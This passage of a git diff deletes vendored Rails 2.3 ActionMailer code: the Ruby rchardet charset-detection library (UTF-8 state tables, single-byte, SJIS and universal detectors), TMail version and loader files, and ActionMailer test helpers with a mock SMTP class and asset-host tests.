-                   'stateTable' =>  UCS2LE_st,
-                   'charLenTable' =>  UCS2LECharLenTable,
-                   'name' =>  'UTF-16LE'
-  }
-
-  # UTF-8
-
-  UTF8_cls = [
-    1,1,1,1,1,1,1,1,  # 00 - 07  #allow 0x00 as a legal value
-    1,1,1,1,1,1,0,0,  # 08 - 0f 
-    1,1,1,1,1,1,1,1,  # 10 - 17 
-    1,1,1,0,1,1,1,1,  # 18 - 1f 
-    1,1,1,1,1,1,1,1,  # 20 - 27 
-    1,1,1,1,1,1,1,1,  # 28 - 2f 
-    1,1,1,1,1,1,1,1,  # 30 - 37 
-    1,1,1,1,1,1,1,1,  # 38 - 3f 
-    1,1,1,1,1,1,1,1,  # 40 - 47 
-    1,1,1,1,1,1,1,1,  # 48 - 4f 
-    1,1,1,1,1,1,1,1,  # 50 - 57 
-    1,1,1,1,1,1,1,1,  # 58 - 5f 
-    1,1,1,1,1,1,1,1,  # 60 - 67 
-    1,1,1,1,1,1,1,1,  # 68 - 6f 
-    1,1,1,1,1,1,1,1,  # 70 - 77 
-    1,1,1,1,1,1,1,1,  # 78 - 7f 
-    2,2,2,2,3,3,3,3,  # 80 - 87 
-    4,4,4,4,4,4,4,4,  # 88 - 8f 
-    4,4,4,4,4,4,4,4,  # 90 - 97 
-    4,4,4,4,4,4,4,4,  # 98 - 9f 
-    5,5,5,5,5,5,5,5,  # a0 - a7 
-    5,5,5,5,5,5,5,5,  # a8 - af 
-    5,5,5,5,5,5,5,5,  # b0 - b7 
-    5,5,5,5,5,5,5,5,  # b8 - bf 
-    0,0,6,6,6,6,6,6,  # c0 - c7 
-    6,6,6,6,6,6,6,6,  # c8 - cf 
-    6,6,6,6,6,6,6,6,  # d0 - d7 
-    6,6,6,6,6,6,6,6,  # d8 - df 
-    7,8,8,8,8,8,8,8,  # e0 - e7 
-    8,8,8,8,8,9,8,8,  # e8 - ef 
-    10,11,11,11,11,11,11,11,  # f0 - f7 
-    12,13,13,13,14,15,0,0   # f8 - ff 
-  ]
-
-  UTF8_st = [ 
-    EError,EStart,EError,EError,EError,EError,     12,   10,#00-07 
-    9,     11,     8,     7,     6,     5,     4,    3,#08-0f 
-    EError,EError,EError,EError,EError,EError,EError,EError,#10-17 
-    EError,EError,EError,EError,EError,EError,EError,EError,#18-1f 
-    EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,#20-27 
-    EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,#28-2f 
-    EError,EError,     5,     5,     5,     5,EError,EError,#30-37 
-    EError,EError,EError,EError,EError,EError,EError,EError,#38-3f 
-    EError,EError,EError,     5,     5,     5,EError,EError,#40-47 
-    EError,EError,EError,EError,EError,EError,EError,EError,#48-4f 
-    EError,EError,     7,     7,     7,     7,EError,EError,#50-57 
-    EError,EError,EError,EError,EError,EError,EError,EError,#58-5f 
-    EError,EError,EError,EError,     7,     7,EError,EError,#60-67 
-    EError,EError,EError,EError,EError,EError,EError,EError,#68-6f 
-    EError,EError,     9,     9,     9,     9,EError,EError,#70-77 
-    EError,EError,EError,EError,EError,EError,EError,EError,#78-7f 
-    EError,EError,EError,EError,EError,     9,EError,EError,#80-87 
-    EError,EError,EError,EError,EError,EError,EError,EError,#88-8f 
-    EError,EError,    12,    12,    12,    12,EError,EError,#90-97 
-    EError,EError,EError,EError,EError,EError,EError,EError,#98-9f 
-    EError,EError,EError,EError,EError,    12,EError,EError,#a0-a7 
-    EError,EError,EError,EError,EError,EError,EError,EError,#a8-af 
-    EError,EError,    12,    12,    12,EError,EError,EError,#b0-b7 
-    EError,EError,EError,EError,EError,EError,EError,EError,#b8-bf 
-    EError,EError,EStart,EStart,EStart,EStart,EError,EError,#c0-c7 
-    EError,EError,EError,EError,EError,EError,EError,EError#c8-cf 
-  ]
-
-  UTF8CharLenTable = [0, 1, 0, 0, 0, 0, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6]
-
-  UTF8SMModel = {'classTable' =>  UTF8_cls,
-                 'classFactor' =>  16,
-                 'stateTable' =>  UTF8_st,
-                 'charLenTable' =>  UTF8CharLenTable,
-                 'name' =>  'UTF-8'
-  }
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sbcharsetprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sbcharsetprober.rb
deleted file mode 100755
index dc167746..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sbcharsetprober.rb
+++ /dev/null
@@ -1,124 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Universal charset detector code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 2001
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#   Shy Shalom - original C code
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  SAMPLE_SIZE = 64
-  SB_ENOUGH_REL_THRESHOLD = 1024
-  POSITIVE_SHORTCUT_THRESHOLD = 0.95
-  NEGATIVE_SHORTCUT_THRESHOLD = 0.05
-  SYMBOL_CAT_ORDER = 250
-  NUMBER_OF_SEQ_CAT = 4
-  POSITIVE_CAT = NUMBER_OF_SEQ_CAT - 1
-  #NEGATIVE_CAT = 0
-
-  class SingleByteCharSetProber < CharSetProber
-    def initialize(model, reversed=false, nameProber=nil)
-      super()
-      @_mModel = model
-      @_mReversed = reversed # TRUE if we need to reverse every pair in the model lookup
-      @_mNameProber = nameProber # Optional auxiliary prober for name decision
-      reset()
-    end
-
-    def reset
-      super()
-      @_mLastOrder = 255 # char order of last character
-      @_mSeqCounters = [0] * NUMBER_OF_SEQ_CAT
-      @_mTotalSeqs = 0
-      @_mTotalChar = 0
-      @_mFreqChar = 0 # characters that fall in our sampling range
-    end
-
-    def get_charset_name
-      if @_mNameProber
-        return @_mNameProber.get_charset_name()
-      else
-        return @_mModel['charsetName']
-      end
-    end
-
-    def feed(aBuf)
-      if not @_mModel['keepEnglishLetter']
-        aBuf = filter_without_english_letters(aBuf)
-      end
-      aLen = aBuf.length
-      if not aLen
-        return get_state()
-      end
-      aBuf.each_byte do |b|
-        c = b.chr
-        order = @_mModel['charToOrderMap'][c[0]]
-        if order < SYMBOL_CAT_ORDER
-          @_mTotalChar += 1
-        end
-        if order < SAMPLE_SIZE
-          @_mFreqChar += 1
-          if @_mLastOrder < SAMPLE_SIZE
-            @_mTotalSeqs += 1
-            if not @_mReversed
-              @_mSeqCounters[@_mModel['precedenceMatrix'][(@_mLastOrder * SAMPLE_SIZE) + order]] += 1
-            else # reverse the order of the letters in the lookup
-              @_mSeqCounters[@_mModel['precedenceMatrix'][(order * SAMPLE_SIZE) + @_mLastOrder]] += 1
-            end
-          end
-        end
-        @_mLastOrder = order
-      end
-
-      if get_state() == EDetecting
-        if @_mTotalSeqs > SB_ENOUGH_REL_THRESHOLD
-          cf = get_confidence()
-          if cf > POSITIVE_SHORTCUT_THRESHOLD
-            $stderr << "#{@_mModel['charsetName']} confidence = #{cf}, we have a winner\n" if $debug
-            @_mState = EFoundIt
-          elsif cf < NEGATIVE_SHORTCUT_THRESHOLD
-            $stderr << "#{@_mModel['charsetName']} confidence = #{cf}, below negative shortcut threshold #{NEGATIVE_SHORTCUT_THRESHOLD}\n" if $debug
-            @_mState = ENotMe
-          end
-        end
-      end
-
-      return get_state()
-    end
-
-    def get_confidence
-      r = 0.01
-      if @_mTotalSeqs > 0
-        #            print self._mSeqCounters[POSITIVE_CAT], self._mTotalSeqs, self._mModel['mTypicalPositiveRatio']
-        r = (1.0 * @_mSeqCounters[POSITIVE_CAT]) / @_mTotalSeqs / @_mModel['mTypicalPositiveRatio']
-        #            print r, self._mFreqChar, self._mTotalChar
-        r = r * @_mFreqChar / @_mTotalChar
-        if r >= 1.0
-          r = 0.99
-        end
-      end
-      return r
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sbcsgroupprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sbcsgroupprober.rb
deleted file mode 100755
index 2251ed3d..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sbcsgroupprober.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Universal charset detector code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 2001
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#   Shy Shalom - original C code
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  class SBCSGroupProber < CharSetGroupProber
-    def initialize
-      super
-      @_mProbers = [ SingleByteCharSetProber.new(Win1251CyrillicModel),
-                     SingleByteCharSetProber.new(Koi8rModel),
-                     SingleByteCharSetProber.new(Latin5CyrillicModel),
-                     SingleByteCharSetProber.new(MacCyrillicModel),
-                     SingleByteCharSetProber.new(Ibm866Model),
-                     SingleByteCharSetProber.new(Ibm855Model),
-                     SingleByteCharSetProber.new(Latin7GreekModel),
-                     SingleByteCharSetProber.new(Win1253GreekModel),
-                     SingleByteCharSetProber.new(Latin5BulgarianModel),
-                     SingleByteCharSetProber.new(Win1251BulgarianModel),
-                     SingleByteCharSetProber.new(Latin2HungarianModel),
-                     SingleByteCharSetProber.new(Win1250HungarianModel),
-                     SingleByteCharSetProber.new(TIS620ThaiModel) ]
-      hebrewProber = HebrewProber.new()
-      logicalHebrewProber = SingleByteCharSetProber.new(Win1255HebrewModel, false, hebrewProber)
-      visualHebrewProber = SingleByteCharSetProber.new(Win1255HebrewModel, true, hebrewProber)
-      hebrewProber.set_model_probers(logicalHebrewProber, visualHebrewProber)
-      @_mProbers += [hebrewProber, logicalHebrewProber, visualHebrewProber]
-
-      reset()
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sjisprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sjisprober.rb
deleted file mode 100755
index 2205d3e2..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/sjisprober.rb
+++ /dev/null
@@ -1,88 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is mozilla.org code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  class SJISProber < MultiByteCharSetProber
-    def initialize
-      super()
-      @_mCodingSM = CodingStateMachine.new(SJISSMModel)
-      @_mDistributionAnalyzer = SJISDistributionAnalysis.new()
-      @_mContextAnalyzer = SJISContextAnalysis.new()
-      reset()
-    end
-
-    def reset
-      super()
-      @_mContextAnalyzer.reset()
-    end
-
-    def get_charset_name
-      return "SHIFT_JIS"
-    end
-
-    def feed(aBuf)
-      aLen = aBuf.length
-      for i in (0...aLen)
-        codingState = @_mCodingSM.next_state(aBuf[i..i])
-        if codingState == EError
-          $stderr << "#{get_charset_name} prober hit error at byte #{i}\n" if $debug
-          @_mState = ENotMe
-          break
-        elsif codingState == EItsMe
-          @_mState = EFoundIt
-          break
-        elsif codingState == EStart
-          charLen = @_mCodingSM.get_current_charlen()
-          if i == 0
-            @_mLastChar[1] = aBuf[0..0]
-            @_mContextAnalyzer.feed(@_mLastChar[2 - charLen..-1], charLen)
-            @_mDistributionAnalyzer.feed(@_mLastChar, charLen)
-          else
-            @_mContextAnalyzer.feed(aBuf[i + 1 - charLen ... i + 3 - charLen], charLen)
-            @_mDistributionAnalyzer.feed(aBuf[i - 1 ... i + 1], charLen)
-          end
-        end
-      end
-
-      @_mLastChar[0] = aBuf[aLen - 1.. aLen-1]
-
-      if get_state() == EDetecting
-        if @_mContextAnalyzer.got_enough_data() and (get_confidence() > SHORTCUT_THRESHOLD)
-          @_mState = EFoundIt
-        end
-      end
-
-      return get_state()
-    end
-
-    def get_confidence
-      l = [@_mContextAnalyzer.get_confidence(), @_mDistributionAnalyzer.get_confidence()]
-      return l.max
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/universaldetector.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/universaldetector.rb
deleted file mode 100644
index c8990c61..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/universaldetector.rb
+++ /dev/null
@@ -1,168 +0,0 @@
-# encoding: us-ascii
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Universal charset detector code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 2001
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#   Shy Shalom - original C code
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  MINIMUM_THRESHOLD = 0.20
-  EPureAscii = 0
-  EEscAscii = 1
-  EHighbyte = 2
-
-  class UniversalDetector
-    attr_accessor :result
-    def initialize
-      @_highBitDetector = /[\x80-\xFF]/
-      @_escDetector = /(\033|\~\{)/
-      @_mEscCharSetProber = nil
-      @_mCharSetProbers = []
-      reset()
-    end
-
-    def reset
-      @result = {'encoding' => nil, 'confidence' => 0.0}
-      @done = false
-      @_mStart = true
-      @_mGotData = false
-      @_mInputState = EPureAscii
-      @_mLastChar = ''
-      if @_mEscCharSetProber
-        @_mEscCharSetProber.reset()
-      end
-      for prober in @_mCharSetProbers
-        prober.reset()
-      end
-    end
-
-    def feed(aBuf)
-      return if @done
-
-      aLen = aBuf.length
-      return if not aLen
-
-      if not @_mGotData
-        # If the data starts with BOM, we know it is UTF
-        if aBuf[0...3] == "\xEF\xBB\xBF"
-          # EF BB BF  UTF-8 with BOM
-          @result = {'encoding' => "UTF-8", 'confidence' => 1.0}
-        elsif aBuf[0...4] == "\xFF\xFE\x00\x00"
-          # FF FE 00 00  UTF-32, little-endian BOM
-          @result = {'encoding' => "UTF-32LE", 'confidence' => 1.0}
-        elsif aBuf[0...4] == "\x00\x00\xFE\xFF"
-          # 00 00 FE FF  UTF-32, big-endian BOM
-          @result = {'encoding' => "UTF-32BE", 'confidence' => 1.0}
-        elsif aBuf[0...4] == "\xFE\xFF\x00\x00"
-          # FE FF 00 00  UCS-4, unusual octet order BOM (3412)
-          @result = {'encoding' => "X-ISO-10646-UCS-4-3412", 'confidence' => 1.0}
-        elsif aBuf[0...4] == "\x00\x00\xFF\xFE"
-          # 00 00 FF FE  UCS-4, unusual octet order BOM (2143)
-          @result = {'encoding' =>  "X-ISO-10646-UCS-4-2143", 'confidence' =>  1.0}
-        elsif aBuf[0...2] == "\xFF\xFE"
-          # FF FE  UTF-16, little endian BOM
-          @result = {'encoding' =>  "UTF-16LE", 'confidence' =>  1.0}
-        elsif aBuf[0...2] == "\xFE\xFF"
-          # FE FF  UTF-16, big endian BOM
-          @result = {'encoding' =>  "UTF-16BE", 'confidence' =>  1.0}
-        end
-      end
-
-      @_mGotData = true
-      if @result['encoding'] and (@result['confidence'] > 0.0)
-        @done = true
-        return
-      end
-
-      if @_mInputState == EPureAscii
-        if @_highBitDetector =~ (aBuf)
-          @_mInputState = EHighbyte
-        elsif (@_mInputState == EPureAscii) and @_escDetector =~ (@_mLastChar + aBuf)
-          @_mInputState = EEscAscii
-        end
-      end
-
-      @_mLastChar = aBuf[-1..-1]
-      if @_mInputState == EEscAscii
-        if not @_mEscCharSetProber
-          @_mEscCharSetProber = EscCharSetProber.new()
-        end
-        if @_mEscCharSetProber.feed(aBuf) == EFoundIt
-          @result = {'encoding' =>  self._mEscCharSetProber.get_charset_name(),
-                     'confidence' =>  @_mEscCharSetProber.get_confidence()
-          }
-          @done = true
-        end
-      elsif @_mInputState == EHighbyte
-        if not @_mCharSetProbers or @_mCharSetProbers.empty?
-          @_mCharSetProbers = [MBCSGroupProber.new(), SBCSGroupProber.new(), Latin1Prober.new()]
-        end
-        for prober in @_mCharSetProbers
-          if prober.feed(aBuf) == EFoundIt
-            @result = {'encoding' =>  prober.get_charset_name(),
-                       'confidence' =>  prober.get_confidence()}
-            @done = true
-            break
-          end
-        end
-      end
-
-    end
-
-    def close
-      return if @done
-      if not @_mGotData
-        $stderr << "no data received!\n" if $debug
-        return
-      end
-      @done = true
-
-      if @_mInputState == EPureAscii
-        @result = {'encoding' => 'ascii', 'confidence' => 1.0}
-        return @result
-      end
-
-      if @_mInputState == EHighbyte
-        confidences = {}
-        @_mCharSetProbers.each{ |prober| confidences[prober] = prober.get_confidence }
-        maxProber = @_mCharSetProbers.max{ |a,b| confidences[a] <=> confidences[b] }
-        if maxProber and maxProber.get_confidence > MINIMUM_THRESHOLD
-          @result = {'encoding' =>  maxProber.get_charset_name(),
-                     'confidence' =>  maxProber.get_confidence()}
-          return @result
-        end
-      end
-
-      if $debug
-        $stderr << "no probers hit minimum threshhold\n" if $debug
-        for prober in @_mCharSetProbers[0]._mProbers
-          next if not prober
-          $stderr << "#{prober.get_charset_name} confidence = #{prober.get_confidence}\n" if $debug
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/utf8prober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/utf8prober.rb
deleted file mode 100755
index 269d8c55..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/utf8prober.rb
+++ /dev/null
@@ -1,87 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is mozilla.org code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  ONE_CHAR_PROB = 0.5
-
-  class UTF8Prober < CharSetProber
-    def initialize
-      super()
-      @_mCodingSM = CodingStateMachine.new(UTF8SMModel)
-      reset()
-    end
-
-    def reset
-      super()
-      @_mCodingSM.reset()
-      @_mNumOfMBChar = 0
-    end
-
-    def get_charset_name
-      return "utf-8"
-    end
-
-    def feed(aBuf)
-      aBuf.each_byte do |b|
-        c = b.chr
-        codingState = @_mCodingSM.next_state(c)
-        if codingState == EError
-          @_mState = ENotMe
-          break
-        elsif codingState == EItsMe
-          @_mState = EFoundIt
-          break
-        elsif codingState == EStart
-          if @_mCodingSM.get_current_charlen() >= 2
-            @_mNumOfMBChar += 1
-          end
-        end
-      end
-
-      if get_state() == EDetecting
-        if get_confidence() > SHORTCUT_THRESHOLD
-          @_mState = EFoundIt
-        end
-      end
-
-      return get_state()
-    end
-
-    def get_confidence
-      unlike = 0.99
-      if @_mNumOfMBChar < 6
-        for i in (0...@_mNumOfMBChar)
-          unlike = unlike * ONE_CHAR_PROB
-        end
-        return 1.0 - unlike
-      else
-        return unlike
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/version.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/version.rb
deleted file mode 100644
index 2cafcd72..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/version.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# version.rb
-#
-#--
-# Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-# with permission of Minero Aoki.
-#++
-
-#:stopdoc:
-module TMail
-  module VERSION
-    MAJOR = 1
-    MINOR = 2
-    TINY  = 6
-
-    STRING = [MAJOR, MINOR, TINY].join('.')
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail.rb
deleted file mode 100644
index 9c44a126..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# Prefer gems to the bundled libs.
-require 'rubygems'
-
-begin
-  gem 'tmail', '~> 1.2.7'
-rescue Gem::LoadError
-  $:.unshift "#{File.dirname(__FILE__)}/tmail-1.2.7"
-end
-
-module TMail
-end
-
-require 'tmail'
-
-silence_warnings do
-  TMail::Encoder.const_set("MAX_LINE_LEN", 200)
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/version.rb b/vendor/rails/actionmailer/lib/action_mailer/version.rb
deleted file mode 100644
index 7627ff22..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/version.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-module ActionMailer
-  module VERSION #:nodoc:
-    MAJOR = 2
-    MINOR = 3
-    TINY  = 14
-
-    STRING = [MAJOR, MINOR, TINY].join('.')
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/actionmailer.rb b/vendor/rails/actionmailer/lib/actionmailer.rb
deleted file mode 100644
index 878607ea..00000000
--- a/vendor/rails/actionmailer/lib/actionmailer.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-require 'action_mailer'
-ActiveSupport::Deprecation.warn 'require "actionmailer" is deprecated and will be removed in Rails 3. Use require "action_mailer" instead.'
diff --git a/vendor/rails/actionmailer/test/abstract_unit.rb b/vendor/rails/actionmailer/test/abstract_unit.rb
deleted file mode 100644
index 2cb862a3..00000000
--- a/vendor/rails/actionmailer/test/abstract_unit.rb
+++ /dev/null
@@ -1,62 +0,0 @@
-require 'rubygems'
-require 'test/unit'
-
-$:.unshift File.expand_path('../../lib', __FILE__)
-$:.unshift File.expand_path('../../../activesupport/lib', __FILE__)
-$:.unshift File.expand_path('../../../actionpack/lib', __FILE__)
-require 'action_mailer'
-require 'action_mailer/test_case'
-
-# Show backtraces for deprecated behavior for quicker cleanup.
-ActiveSupport::Deprecation.debug = true
-
-# Bogus template processors
-ActionView::Template.register_template_handler :haml, lambda { |template| "Look its HAML!".inspect }
-ActionView::Template.register_template_handler :bak, lambda { |template| "Lame backup".inspect }
-
-$:.unshift "#{File.dirname(__FILE__)}/fixtures/helpers"
-
-ActionView::Base.cache_template_loading = true
-FIXTURE_LOAD_PATH = File.expand_path(File.join(File.dirname(__FILE__), 'fixtures'))
-ActionMailer::Base.template_root = FIXTURE_LOAD_PATH
-
-class MockSMTP
-  def self.deliveries
-    @@deliveries
-  end
-
-  def initialize
-    @@deliveries = []
-  end
-
-  def sendmail(mail, from, to)
-    @@deliveries << [mail, from, to]
-  end
-
-  def start(*args)
-    yield self
-  end
-end
-
-class Net::SMTP
-  def self.new(*args)
-    MockSMTP.new
-  end
-end
-
-def uses_gem(gem_name, test_name, version = '> 0')
-  gem gem_name.to_s, version
-  require gem_name.to_s
-  yield
-rescue LoadError
-  $stderr.puts "Skipping #{test_name} tests. `gem install #{gem_name}` and try again."
-end
-
-def set_delivery_method(delivery_method)
-  @old_delivery_method = ActionMailer::Base.delivery_method
-  ActionMailer::Base.delivery_method = delivery_method
-end
-
-def restore_delivery_method
-  ActionMailer::Base.delivery_method = @old_delivery_method
-end
diff --git a/vendor/rails/actionmailer/test/asset_host_test.rb b/vendor/rails/actionmailer/test/asset_host_test.rb
deleted file mode 100644
index 1c92dd26..00000000
--- a/vendor/rails/actionmailer/test/asset_host_test.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-require 'abstract_unit'
-
-class AssetHostMailer < ActionMailer::Base
-  def email_with_asset(recipient)
-    recipients recipient
-    subject    "testing email containing asset path while asset_host is set"
-    from       "tester@example.com"
-  end
-end
-
-class AssetHostTest < Test::Unit::TestCase
-  def setup
-    set_delivery_method :test
-    ActionMailer::Base.perform_deliveries = true
-    ActionMailer::Base.deliveries = []
-
-    @recipient = 'test@localhost'
-  end
-
-  def teardown
-    restore_delivery_method
-  end
-
-  def test_asset_host_as_string
-    ActionController::Base.asset_host = "http://www.example.com"
-    mail = AssetHostMailer.deliver_email_with_asset(@recipient)
-    assert_equal "<img alt=\"Somelogo\" src=\"http://www.example.com/images/somelogo.png\" />", mail.body.strip
-  end
-
-  def test_asset_host_as_one_arguement_proc
-    ActionController::Base.asset_host = Proc.new { |source|
-      if source.starts_with?('/images')
-        "http://images.example.com"
-      else
-        "http://assets.example.com"
-      end
-    }
-    mail = AssetHostMailer.deliver_email_with_asset(@recipient)
-    assert_equal "<img alt=\"Somelogo\" src=\"http://images.example.com/images/somelogo.png\" />", mail.body.strip
-  end
-
-  def test_asset_host_as_two_arguement_proc
-    ActionController::Base.asset_host = Proc.new {|source,request|
